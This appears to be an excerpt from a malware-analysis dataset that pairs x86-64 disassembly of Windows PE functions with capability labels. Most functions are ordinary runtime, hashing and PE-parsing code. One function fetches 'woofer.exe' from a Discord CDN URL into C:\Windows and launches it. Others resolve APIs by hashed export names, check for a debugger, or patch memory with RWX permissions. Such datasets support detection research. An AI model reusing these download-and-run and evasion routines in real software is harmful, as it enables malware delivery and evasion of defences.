joyce8/EMBER2024-capa huggingface dataset:
Function at 0x40d2c0
Capabilities:
Allocate or change rwx memory

Disassembly:
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x50
movsxd rsi, dword [0x0041c8e4]
test esi, esi
mov rbx, rcx
mov rbp, rdx
mov rdi, r8
jle 0x40d448
mov rax, qword [0x0041c8e8]
xor ecx, ecx
add rax, 0x18
nop
mov rdx, qword [rax]
cmp rbx, rdx
jb 0x40d30c
mov r8, qword [rax + 8]
mov r8d, dword [r8 + 8]
add rdx, r8
cmp rbx, rdx
jb 0x40d395
add ecx, 1
add rax, 0x28
cmp ecx, esi
jne 0x40d2f0
mov rcx, rbx
call fcn.0040df60
test rax, rax
mov r12, rax
je 0x40d47d
mov rax, qword [0x0041c8e8]
lea rsi, [rsi + rsi*4]
shl rsi, 3
add rax, rsi
mov qword [rax + 0x20], r12
mov dword [rax], 0
call fcn.0040e090
mov ecx, dword [r12 + 0xc]
lea rdx, [rsp + 0x20]
mov r8d, 0x30
add rcx, rax
mov rax, qword [0x0041c8e8]
mov qword [rax + rsi + 0x18], rcx
call qword [sym.imp.KERNEL32.dll_VirtualQuery]
test rax, rax
je 0x40d460
mov eax, dword [rsp + 0x44]
lea edx, [rax - 4]
and edx, 0xfffffffb
je 0x40d38e
sub eax, 0x40
and eax, 0xffffffbf
jne 0x40d3f0
add dword [0x0041c8e4], 1
cmp edi, 8
jae 0x40d3c3
test dil, 4
jne 0x40d434
test edi, edi
je 0x40d3b8
movzx eax, byte [rbp]
test dil, 2
mov byte [rbx], al
jne 0x40d44f
add rsp, 0x50
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
ret
mov eax, edi
sub edi, 1
mov rdx, qword [rbp + rax - 8]
cmp edi, 8
mov qword [rbx + rax - 8], rdx
jb 0x40d3b8
and edi, 0xfffffff8
xor eax, eax
mov edx, eax
add eax, 8
mov rcx, qword [rbp + rdx]
cmp eax, edi
mov qword [rbx + rdx], rcx
jb 0x40d3dc
jmp 0x40d3b8
add rsi, qword [0x0041c8e8]
mov r8d, 0x40
mov rcx, qword [rsp + 0x20]
mov rdx, qword [rsp + 0x38]
mov r9, rsi
mov qword [rsi + 8], rcx
mov qword [rsi + 0x10], rdx
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
jne 0x40d38e
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rcx, str.__VirtualProtect_failed_with_code_0x_x
mov edx, eax
call fcn.0040f6b0
mov eax, dword [rbp]
mov edi, edi
mov dword [rbx], eax
mov eax, dword [rbp + rdi - 4]
mov dword [rbx + rdi - 4], eax
jmp 0x40d3b8
xor esi, esi
jmp 0x40d317
mov edi, edi
movzx eax, word [rbp + rdi - 2]
mov word [rbx + rdi - 2], ax
jmp 0x40d3b8
mov rax, qword [0x0041c8e8]
lea rcx, str.__VirtualQuery_failed_for__d_bytes_at_address__p
mov edx, dword [r12 + 8]
mov r8, qword [rax + rsi + 0x18]
call fcn.0040f6b0
lea rcx, str.Address__p_has_no_image_section
mov rdx, rbx
call fcn.0040f6b0
nop
nop dword [rax]

Function at 0x40dbd0
Capabilities:
Get thread local storage value

Disassembly:
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x28
lea rcx, [0x0041cbc0]
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov rbx, qword [0x0041cba0]
test rbx, rbx
je 0x40dc24
mov rbp, qword [sym.imp.KERNEL32.dll_TlsGetValue]
mov rdi, qword [sym.imp.KERNEL32.dll_GetLastError]
nop
mov ecx, dword [rbx]
call rbp
mov rsi, rax
call rdi
test eax, eax
jne 0x40dc1b
test rsi, rsi
je 0x40dc1b
mov rax, qword [rbx + 8]
mov rcx, rsi
call rax
mov rbx, qword [rbx + 0x10]
test rbx, rbx
jne 0x40dc00
lea rcx, [0x0041cbc0]
add rsp, 0x28
pop rbx
pop rsi
pop rdi
pop rbp
jmp qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
Function at 0x40df60
Capabilities:
Enumerate pe sections

Disassembly:
sub rsp, 0x28
mov r8, qword [0x00417b50]
cmp word [r8], 0x5a4d
mov rdx, rcx
jne 0x40dfcd
mov rcx, r8
call fcn.0040de40
test eax, eax
je 0x40dfcd
movsxd rax, dword [r8 + 0x3c]
mov rcx, rdx
sub rcx, r8
add r8, rax
movzx edx, word [r8 + 6]
movzx eax, word [r8 + 0x14]
test edx, edx
lea rax, [r8 + rax + 0x18]
je 0x40dfcd
sub edx, 1
lea rdx, [rdx + rdx*4]
lea r9, [rax + rdx*8 + 0x28]
nop
mov r8d, dword [rax + 0xc]
cmp rcx, r8
mov rdx, r8
jb 0x40dfc4
add edx, dword [rax + 8]
cmp rcx, rdx
jb 0x40dfcf
add rax, 0x28
cmp rax, r9
jne 0x40dfb0
xor eax, eax
add rsp, 0x28
ret

Function at 0x40f6b0
Capabilities:
Write file on windows

Disassembly:
push rsi
push rbx
sub rsp, 0x38
lea rax, [rsp + 0x58]
mov rbx, rcx
mov ecx, 2
mov qword [rsp + 0x58], rdx
mov qword [rsp + 0x60], r8
mov qword [rsp + 0x68], r9
mov qword [rsp + 0x28], rax
call fcn.0040f5b0
mov r8d, 0x1b
mov edx, 1
lea rcx, str.Mingw_w64_runtime_failure:_n
mov r9, rax
call sub.msvcrt.dll_fwrite
mov rsi, qword [rsp + 0x28]
mov ecx, 2
call fcn.0040f5b0
mov rdx, rbx
mov rcx, rax
mov r8, rsi
call sub.msvcrt.dll_vfprintf
call sub.msvcrt.dll_abort
nop
nop
nop
nop
nop
nop
nop
nop
push rbp
mov rbp, rsp
pop rbp
jmp fcn.00401550
Function at 0x14001cb68
Capabilities:
Terminate process

Disassembly:
jmp 0x140050450
mov qword [rsp + 8], rcx
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetUnhandledExceptionFilter]
mov rcx, qword [rsp + 0x30]
call qword [sym.imp.KERNEL32.dll_UnhandledExceptionFilter]
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov edx, 0xc0000409
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
add rsp, 0x28
ret

Function at 0x14001cbd6
Capabilities:
Create process on windows
Download url
Execute command
Receive data
Set console window title

Disassembly:
jmp 0x140032250
push rbp
push rdi
sub rsp, 0x2e8
lea rbp, [rsp + 0x30]
lea rcx, [0x140078103]
call fcn.14001d4ff
lea rax, [rbp + 0x124]
mov rdi, rax
xor eax, eax
mov ecx, 1
rep stosb byte [rdi], al
lea rdx, [rbp + 0x144]
lea rcx, [rbp + 0x124]
call fcn.14002f890
mov rcx, rax
call fcn.14001dacc
mov rcx, rax
call qword [sym.imp.ucrtbased.dll_system]
lea rdx, str._n_n_n_bouta_unban_yo_black_ass
lea rcx, [rbp + 0x168]
call fcn.14001c90b
mov dword [rbp + 0x190], 0x32
lea rdx, [rbp + 0x168]
mov rcx, qword [sym.imp.MSVCP140D.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.14001ce24
nop
lea rcx, [rbp + 0x168]
call fcn.14001d6d0
mov edx, 0x1f4
mov ecx, 0x1f4
call qword [sym.imp.KERNEL32.dll_Beep]
lea rax, str.https:__cdn.discordapp.com_attachments_1173009270263001088_1173240919185694750_woofer.exe
mov qword [rbp + 8], rax
lea rax, str.C:WindowsWoofer.exe
mov qword [rbp + 0x28], rax
mov qword [rsp + 0x20], 0
xor r9d, r9d
mov r8, qword [rbp + 0x28]
mov rdx, qword [rbp + 8]
xor ecx, ecx
call fcn.14001d306
mov dword [rbp + 0x44], eax
cmp dword [rbp + 0x44], 0
jl 0x140032352
mov dword [rsp + 0x28], 0
mov qword [rsp + 0x20], 0
xor r9d, r9d
mov r8, qword [rbp + 0x28]
lea rdx, str.open
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_ShellExecuteW]
jmp 0x14003239b
mov edx, 0x1f4
mov ecx, 0x3e8
call qword [sym.imp.KERNEL32.dll_Beep]
lea rax, [rbp + 0x1b4]
mov rdi, rax
xor eax, eax
mov ecx, 1
rep stosb byte [rdi], al
lea rdx, [rbp + 0x1d8]
lea rcx, [rbp + 0x1b4]
call fcn.140030660
mov rcx, rax
call fcn.14001dd1a
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_SetConsoleTitleW]
jmp 0x14003240f
lea rax, [rbp + 0x214]
mov rdi, rax
xor eax, eax
mov ecx, 1
rep stosb byte [rdi], al
lea rdx, [rbp + 0x238]
lea rcx, [rbp + 0x214]
call fcn.140030b30
mov rcx, rax
call fcn.14001db71
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_SetConsoleTitleW]
lea rdx, str._n_n_n_Press_Any_Key_To_Clean__Spoof
lea rcx, [rbp + 0x268]
call fcn.14001c90b
mov dword [rbp + 0x290], 0x32
lea rdx, [rbp + 0x268]
mov rcx, qword [sym.imp.MSVCP140D.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.14001ce24
nop
lea rcx, [rbp + 0x268]
call fcn.14001d6d0
lea rsp, [rbp + 0x2b8]
pop rdi
pop rbp
ret
Function at 0x14001ce7e
Capabilities:
Parse pe header

Disassembly:
jmp 0x14004f800
sub rsp, 0x38
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov qword [rsp + 0x20], rax
cmp qword [rsp + 0x20], 0
jne 0x14004f820
xor al, al
jmp 0x14004f8a1
mov rax, qword [rsp + 0x20]
movzx eax, word [rax]
cmp eax, 0x5a4d
je 0x14004f833
xor al, al
jmp 0x14004f8a1
mov rax, qword [rsp + 0x20]
movsxd rax, dword [rax + 0x3c]
mov rcx, qword [rsp + 0x20]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x28], rax
mov rax, qword [rsp + 0x28]
cmp dword [rax], 0x4550
je 0x14004f85d
xor al, al
jmp 0x14004f8a1
mov rax, qword [rsp + 0x28]
movzx eax, word [rax + 0x18]
cmp eax, 0x20b
je 0x14004f871
xor al, al
jmp 0x14004f8a1
mov rax, qword [rsp + 0x28]
cmp dword [rax + 0x84], 0xe
ja 0x14004f883
xor al, al
jmp 0x14004f8a1
mov eax, 8
imul rax, rax, 0xe
mov rcx, qword [rsp + 0x28]
cmp dword [rcx + rax + 0x88], 0
jne 0x14004f89f
xor al, al
jmp 0x14004f8a1
mov al, 1
add rsp, 0x38
ret
Function at 0x140003fac
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x140003ff6
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x140003ff6
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x140003ff6
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x140003ff6
cmp dword [rcx + 0x84], 0xe
jbe 0x140003ff6
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x140003ff8
xor al, al
add rsp, 0x28
ret
Function at 0x140005e90
Capabilities:
Hash data with md5

Disassembly:
mov qword [rsp + 8], rcx
sub rsp, 0x28
mov r8d, 0x5c
xor edx, edx
mov rcx, qword [rsp + 0x30]
call fcn.1401b5f00
mov rax, qword [rsp + 0x30]
mov dword [rax], 0x67452301
mov rax, qword [rsp + 0x30]
mov dword [rax + 4], 0xefcdab89
mov rax, qword [rsp + 0x30]
mov dword [rax + 8], 0x98badcfe
mov rax, qword [rsp + 0x30]
mov dword [rax + 0xc], 0x10325476
mov eax, 1
add rsp, 0x28
ret

Function at 0x14000b6f0
Capabilities:
Hash data with crc32

Disassembly:
mov qword [rsp + 8], rcx
sub rsp, 0x28
mov dword [rsp + 4], 0
mov dword [rsp], 0xffffffff
movsxd rax, dword [rsp + 4]
mov rcx, qword [rsp + 0x30]
movzx eax, byte [rcx + rax]
test eax, eax
je 0x14000b783
movsxd rax, dword [rsp + 4]
mov rcx, qword [rsp + 0x30]
movzx eax, byte [rcx + rax]
mov dword [rsp + 0xc], eax
mov eax, dword [rsp + 0xc]
mov ecx, dword [rsp]
xor ecx, eax
mov eax, ecx
mov dword [rsp], eax
mov dword [rsp + 8], 7
jmp 0x14000b74e
mov eax, dword [rsp + 8]
dec eax
mov dword [rsp + 8], eax
cmp dword [rsp + 8], 0
jl 0x14000b777
mov eax, dword [rsp]
and eax, 1
neg eax
mov dword [rsp + 0x10], eax
mov eax, dword [rsp]
shr eax, 1
mov ecx, dword [rsp + 0x10]
and ecx, 0xedb88320
xor eax, ecx
mov dword [rsp], eax
jmp 0x14000b744
mov eax, dword [rsp + 4]
inc eax
mov dword [rsp + 4], eax
jmp 0x14000b708
mov eax, dword [rsp]
not eax
add rsp, 0x28
ret
Function at 0x14017d200
Capabilities:
Hash data with md5

Disassembly:
mov qword [rsp + 8], rcx
mov rax, qword [rsp + 8]
mov qword [rax], 0
mov rax, qword [rsp + 8]
mov qword [rax + 8], 0
mov eax, 4
imul rax, rax, 0
mov rcx, qword [rsp + 8]
mov dword [rcx + rax + 0x50], 0x67452301
mov eax, 4
imul rax, rax, 1
mov rcx, qword [rsp + 8]
mov dword [rcx + rax + 0x50], 0xefcdab89
mov eax, 4
imul rax, rax, 2
mov rcx, qword [rsp + 8]
mov dword [rcx + rax + 0x50], 0x98badcfe
mov eax, 4
imul rax, rax, 3
mov rcx, qword [rsp + 8]
mov dword [rcx + rax + 0x50], 0x10325476
ret
Function at 0x1401892b0
Capabilities:
Hash data using sha256

Disassembly:
mov qword [rsp + 8], rcx
mov rax, qword [rsp + 8]
mov qword [rax + 0x20], 0
mov rax, qword [rsp + 8]
mov qword [rax + 0x28], 0
mov eax, 4
imul rax, rax, 0
mov rcx, qword [rsp + 8]
mov dword [rcx + rax], 0x6a09e667
mov eax, 4
imul rax, rax, 1
mov rcx, qword [rsp + 8]
mov dword [rcx + rax], 0xbb67ae85
mov eax, 4
imul rax, rax, 2
mov rcx, qword [rsp + 8]
mov dword [rcx + rax], 0x3c6ef372
mov eax, 4
imul rax, rax, 3
mov rcx, qword [rsp + 8]
mov dword [rcx + rax], 0xa54ff53a
mov eax, 4
imul rax, rax, 4
mov rcx, qword [rsp + 8]
mov dword [rcx + rax], 0x510e527f
mov eax, 4
imul rax, rax, 5
mov rcx, qword [rsp + 8]
mov dword [rcx + rax], 0x9b05688c
mov eax, 4
imul rax, rax, 6
mov rcx, qword [rsp + 8]
mov dword [rcx + rax], 0x1f83d9ab
mov eax, 4
imul rax, rax, 7
mov rcx, qword [rsp + 8]
mov dword [rcx + rax], 0x5be0cd19
ret
Function at 0x1401ae330
Capabilities:
Check http status code

Disassembly:
mov qword [rsp + 8], rcx
sub rsp, 0x138
mov qword [rsp + 0xc0], 0xfffffffffffffffe
mov byte [rsp + 0x40], 0
call fcn.14000b570
mov byte [rsp + 0x41], al
lea rax, [rsp + 0x108]
mov qword [rsp + 0x80], rax
xor ecx, ecx
call fcn.1401adb20
mov dword [rsp + 0x5c], eax
movzx edx, byte [rsp + 0x41]
lea rcx, [rsp + 0x90]
call fcn.1400dfed0
mov qword [rsp + 0xb0], rax
mov rax, qword [rsp + 0xb0]
mov qword [rsp + 0xb8], rax
mov rcx, qword [rsp + 0xb8]
call fcn.14000e3d0
mov rdx, rax
mov rcx, qword [rsp + 0x80]
call fcn.140003540
mov qword [rsp + 0x68], rax
mov r9d, 1
mov eax, dword [rsp + 0x5c]
mov r8d, eax
mov rdx, qword [rsp + 0x68]
mov rcx, qword [rsp + 0x140]
call fcn.14019ef20
nop
lea rcx, [rsp + 0x90]
call fcn.14000c6c0
mov rax, qword [rsp + 0x140]
movzx eax, byte [rax + 0x20]
test eax, eax
je 0x1401ae572
mov dword [rsp + 0x44], 0
mov eax, dword [rsp + 0x44]
bts eax, 0x1a
mov dword [rsp + 0x44], eax
mov eax, dword [rsp + 0x44]
bts eax, 0x13
mov dword [rsp + 0x44], eax
lea rax, [rsp + 0xc8]
mov qword [rsp + 0xa8], rax
mov rcx, qword [rsp + 0xa8]
call fcn.1401a4470
mov qword [rsp + 0x88], rax
lea rcx, [rsp + 0x60]
mov qword [rsp + 0xa0], rcx
mov rcx, qword [rsp + 0xa0]
call fcn.14019f010
mov qword [rsp + 0x98], rax
xor edx, edx
lea rcx, [rsp + 0xe8]
call fcn.1401ae250
mov qword [rsp + 0x70], rax
mov rax, qword [rsp + 0x70]
mov qword [rsp + 0x78], rax
mov rcx, qword [rsp + 0x78]
call fcn.140006c20
mov qword [rsp + 0x38], 0
mov ecx, dword [rsp + 0x44]
mov dword [rsp + 0x30], ecx
mov qword [rsp + 0x28], 0
mov qword [rsp + 0x20], 0
mov rcx, qword [rsp + 0x88]
mov r9, rcx
mov rcx, qword [rsp + 0x98]
mov r8, rcx
mov rdx, rax
mov rax, qword [rsp + 0x140]
mov rcx, qword [rax + 0x30]
call fcn.140177450
mov qword [rsp + 0x50], rax
lea rcx, [rsp + 0xe8]
call fcn.140003740
nop
lea rcx, [rsp + 0x60]
call fcn.14019e5e0
nop
lea rcx, [rsp + 0xc8]
call fcn.14019e6a0
cmp qword [rsp + 0x50], 0
je 0x1401ae568
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
mov rcx, qword [rsp + 0x50]
call fcn.140177600
mov dword [rsp + 0x48], 0
mov dword [rsp + 0x58], 4
mov qword [rsp + 0x20], 0
lea r9, [rsp + 0x58]
lea r8, [rsp + 0x48]
mov edx, 0x20000013
mov rcx, qword [rsp + 0x50]
call fcn.140177540
cmp dword [rsp + 0x48], 0xc8
jne 0x1401ae568
mov byte [rsp + 0x40], 1
mov rcx, qword [rsp + 0x50]
call fcn.140177760
mov rcx, qword [rsp + 0x140]
call fcn.1401ad6b0
movzx eax, byte [rsp + 0x40]
add rsp, 0x138
ret

Function at 0x1401b3db7
Capabilities:
Encode data using xor

Disassembly:
cmp ah, byte gs:[0x179816a1e]
invalid

Function at 0x1401b73e4
Capabilities:
Terminate process

Disassembly:
xor r8d, r8d
xor edx, edx
jmp fcn.1401b724c
Function at 0x140001570
Capabilities:
Encode data using xor
Hash data using fnv
Resolve function by parsing pe exports

Disassembly:
push r15
push r14
push rsi
push rdi
push rbp
push rbx
mov rax, qword gs:[0x30]
mov r11d, dword [0x1409ee004]
test r11d, r11d
je 0x14000166b
mov rax, qword [rax + 0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
mov rax, qword [rax]
mov r14, qword [rax + 0x30]
movsxd rax, dword [r14 + 0x3c]
mov r10d, dword [r14 + rax + 0x88]
mov r15d, dword [r14 + r10 + 0x18]
lea r8, [r14 + 2]
lea r9, [0x1409ee004]
jmp 0x1400015dd
xor r11d, r11d
sub r15, 1
jb 0x14000166b
test r11d, r11d
je 0x1400015d0
mov eax, dword [r14 + r10 + 0x20]
add rax, r14
mov esi, dword [rax + r15*4]
add rsi, r8
mov edi, r11d
mov rcx, r9
nop word [rax + rax]
mov ebp, 0x811c9dc5
mov rbx, rsi
nop dword [rax + rax]
mov eax, ebp
movsx edx, byte [rbx]
add rbx, 1
xor ebp, edx
imul ebp, ebp, 0x1000193
test edx, edx
jne 0x140001610
cmp eax, edi
je 0x140001640
mov edi, dword [rcx + 4]
add rcx, 4
test edi, edi
jne 0x140001600
jmp 0x1400015d3
mov eax, dword [r14 + r10 + 0x1c]
mov edx, dword [r14 + r10 + 0x24]
add rax, r14
add rdx, r14
movzx edx, word [rdx + r15*2]
mov eax, dword [rax + rdx*4]
mov eax, dword [r14 + rax + 4]
mov dword [rcx], eax
mov r11d, dword [0x1409ee004]
jmp 0x1400015d3
pop rbx
pop rbp
pop rdi
pop rsi
pop r14
pop r15
ret

Function at 0x140001810
Capabilities:
Check for outputdebugstring error
Print debug messages

Disassembly:
sub rsp, 0x38
mov ecx, 0x457
call qword [sym.imp.KERNEL32.dll_SetLastError]
lea rcx, str._api_
call qword [sym.imp.KERNEL32.dll_OutputDebugStringA]
call qword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x457
jne 0x1400018a8
call fcn.1409d8bc0
cmp byte [rax + 2], 0
jne 0x1400018a8
test byte [rax + 0xbc], 0x70
jne 0x1400018a8
call fcn.1409d9230
call fcn.140001570
mov qword [rsp + 0x30], 0xffffffffffffffff
mov rax, qword [0x1409f17c8]
mov edx, dword [rax]
mov rax, qword [0x1409f1820]
mov eax, dword [rax]
mov dword [rsp + 0x20], eax
mov rcx, qword [0x1409f17c0]
lea r8, [rsp + 0x30]
mov r9d, 1
call fcn.140001690
test rax, rax
sete al
cmp qword [rsp + 0x30], 0xffffffffffffffff
sete cl
or cl, al
movzx eax, cl
neg eax
add rsp, 0x38
ret
xor ecx, ecx
call sub.msvcrt.dll_exit
int3
push rbp
sub rsp, 0x20
lea rbp, [rsp + 0x20]
call fcn.1409e3200
nop
add rsp, 0x20
pop rbp
jmp 0x140001810
Function at 0x1400018b0
Capabilities:
Print debug messages

Disassembly:
sub rsp, 0x38
mov ecx, 0x457
call qword [sym.imp.KERNEL32.dll_SetLastError]
lea rcx, str._api_
call qword [sym.imp.KERNEL32.dll_OutputDebugStringA]
call qword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x457
jne 0x1400018a8
call fcn.1409d8bc0
cmp byte [rax + 2], 0
jne 0x1400018a8
test byte [rax + 0xbc], 0x70
jne 0x1400018a8
call fcn.1409d9230
call fcn.140001570
mov qword [rsp + 0x30], 0xffffffffffffffff
mov rax, qword [0x1409f17c8]
mov edx, dword [rax]
mov rax, qword [0x1409f1820]
mov eax, dword [rax]
mov dword [rsp + 0x20], eax
mov rcx, qword [0x1409f17c0]
lea r8, [rsp + 0x30]
mov r9d, 1
call fcn.140001690
test rax, rax
sete al
cmp qword [rsp + 0x30], 0xffffffffffffffff
sete cl
or cl, al
movzx eax, cl
neg eax
add rsp, 0x38
ret
xor ecx, ecx
call sub.msvcrt.dll_exit
int3
push rbp
sub rsp, 0x20
lea rbp, [rsp + 0x20]
call fcn.1409e3200
nop
add rsp, 0x20
pop rbp
jmp 0x140001810

Function at 0x1409d8bd0
Capabilities:
Access peb ldr_data

Disassembly:
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x20]
ret
Function at 0x1409d97a0
Capabilities:
Allocate or change rwx memory

Disassembly:
push r15
push r14
push r13
push r12
push rsi
push rdi
push rbp
push rbx
sub rsp, 0x28
mov r15, rdx
mov r12, rcx
movsxd r13, dword [rcx + 0x3c]
mov ebx, dword [rcx + r13 + 0x54]
mov r8, rbx
call sub.msvcrt.dll_memcmp
test eax, eax
je 0x1409d980a
lea r9, [rsp + 0x20]
mov rcx, r15
mov rdx, rbx
mov r8d, 0x40
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
je 0x1409d980a
mov rcx, r15
mov rdx, r12
mov r8, rbx
call sub.msvcrt.dll_memcpy
mov r8d, dword [rsp + 0x20]
lea r9, [rsp + 0x20]
mov rcx, r15
mov rdx, rbx
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
movzx eax, word [r12 + r13 + 6]
test ax, ax
je 0x1409d98ac
movsxd rcx, dword [r12 + 0x3c]
lea rbp, [rcx + r12]
add rbp, 0x110
xor r14d, r14d
jmp 0x1409d9846
movzx eax, word [r12 + r13 + 6]
add r14, 1
movzx ecx, ax
add rbp, 0x28
cmp r14, rcx
jae 0x1409d98ac
cmp dword [rbp + 0x1c], 0
js 0x1409d9836
mov ebx, dword [rbp]
mov esi, dword [rbp + 4]
lea rdi, [r12 + rsi]
add rsi, r15
mov rcx, rdi
mov rdx, rsi
mov r8, rbx
call sub.msvcrt.dll_memcmp
test eax, eax
je 0x1409d9830
mov rcx, rsi
mov rdx, rbx
mov r8d, 0x40
lea r9, [rsp + 0x24]
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
je 0x1409d9830
mov rcx, rsi
mov rdx, rdi
mov r8, rbx
call sub.msvcrt.dll_memcpy
mov r8d, dword [rsp + 0x24]
mov rcx, rsi
mov rdx, rbx
lea r9, [rsp + 0x24]
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
jmp 0x1409d9830
add rsp, 0x28
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
ret
Function at 0x1409d9930
Capabilities:
Resolve function by parsing pe exports

Disassembly:
push r15
push r14
push r13
push r12
push rsi
push rdi
push rbp
push rbx
sub rsp, 0x48
test rcx, rcx
je 0x1409d9b0a
mov rsi, rdx
mov rbx, rcx
movsxd rax, dword [rcx + 0x3c]
mov edi, dword [rax + rcx + 0x88]
mov r13d, dword [rdi + rcx + 0x1c]
add r13, rcx
test esi, 0xffff0000
je 0x1409d99c6
mov ebp, dword [rbx + rdi + 0x18]
test ebp, ebp
je 0x1409d9b0a
mov qword [rsp + 0x38], rax
mov qword [rsp + 0x30], r8
mov r14d, dword [rbx + rdi + 0x20]
mov r15d, dword [rbx + rdi + 0x24]
add r14, rbx
add r15, rbx
xor r12d, r12d
nop word cs:[rax + rax]
nop dword [rax]
mov ecx, dword [r14]
add rcx, rbx
mov rdx, rsi
call sub.msvcrt.dll_strcmp
test eax, eax
je 0x1409d99da
add ebp, 0xffffffff
add r14, 4
add r15, 2
test ebp, ebp
jne 0x1409d99a0
jmp 0x1409d9b12
movzx eax, si
mov ecx, dword [rbx + rdi + 0x10]
sub rax, rcx
mov r12d, dword [r13 + rax*4]
jmp 0x1409d9b0f
movzx eax, word [r15]
mov r12d, dword [r13 + rax*4]
cmp edi, r12d
ja 0x1409d9b0f
mov rax, qword [rsp + 0x38]
add edi, dword [rbx + rax + 0x8c]
cmp r12d, edi
jae 0x1409d9b0f
add r12, rbx
mov rcx, r12
mov edx, 0x2e
call sub.msvcrt.dll_strchr
mov r14, rax
add r14, 1
mov rsi, r14
sub rsi, r12
lea rcx, [rsi + 4]
mov edx, 2
call sub.msvcrt.dll_calloc
test rax, rax
je 0x1409d9b0a
mov rbx, rax
lea r8, [rsi + 1]
mov qword [rsp + 0x20], rsi
xor ecx, ecx
mov rdx, rax
mov r9, r12
call qword [sym.imp.msvcrt.dll_mbstowcs_s]
mov eax, dword [0x1409ef016]
mov dword [rbx + rsi*2], eax
movzx eax, word [0x1409ef01a]
mov word [rbx + rsi*2 + 4], ax
lea rdx, [0x1409ef002]
mov r8d, 4
mov rcx, rbx
call qword [sym.imp.msvcrt.dll__wcsnicmp]
test eax, eax
je 0x1409d9a98
lea rdx, str.ext_
mov r8d, 4
mov rcx, rbx
call qword [sym.imp.msvcrt.dll__wcsnicmp]
test eax, eax
jne 0x1409d9ae6
lea r8, [rsp + 0x40]
mov rcx, qword [rsp + 0x30]
mov rdx, rbx
call fcn.1409d8bf0
test rax, rax
je 0x1409d9ae6
mov rsi, rax
mov rcx, rbx
call sub.msvcrt.dll_free
mov rdi, qword [rsp + 0x40]
lea rcx, [rdi + 1]
mov edx, 2
call sub.msvcrt.dll_calloc
test rax, rax
je 0x1409d9b0a
mov rbx, rax
add rdi, rdi
mov rcx, rax
mov rdx, rsi
mov r8, rdi
call sub.msvcrt.dll_memcpy
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov rcx, rax
mov rdx, r14
mov r8, rbx
call fcn.1409d9930
mov r12, rax
mov rcx, rbx
call sub.msvcrt.dll_free
jmp 0x1409d9b12
xor r12d, r12d
jmp 0x1409d9b12
add r12, rbx
mov rax, r12
add rsp, 0x48
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
ret
Function at 0x1409e3420
Capabilities:
Write file on windows

Disassembly:
push r12
push rbx
sub rsp, 0x38
mov r12, rcx
lea rax, [rsp + 0x58]
mov ecx, 2
mov qword [rsp + 0x58], rdx
mov qword [rsp + 0x60], r8
mov qword [rsp + 0x68], r9
mov qword [rsp + 0x28], rax
call fcn.1409e9e50
mov r8d, 0x1b
mov edx, 1
lea rcx, str.Mingw_w64_runtime_failure:_n
mov r9, rax
call sub.msvcrt.dll_fwrite
mov rbx, qword [rsp + 0x28]
mov ecx, 2
call fcn.1409e9e50
mov rdx, r12
mov rcx, rax
mov r8, rbx
call sub.msvcrt.dll_vfprintf
call sub.msvcrt.dll_abort
nop
nop word [rax + rax]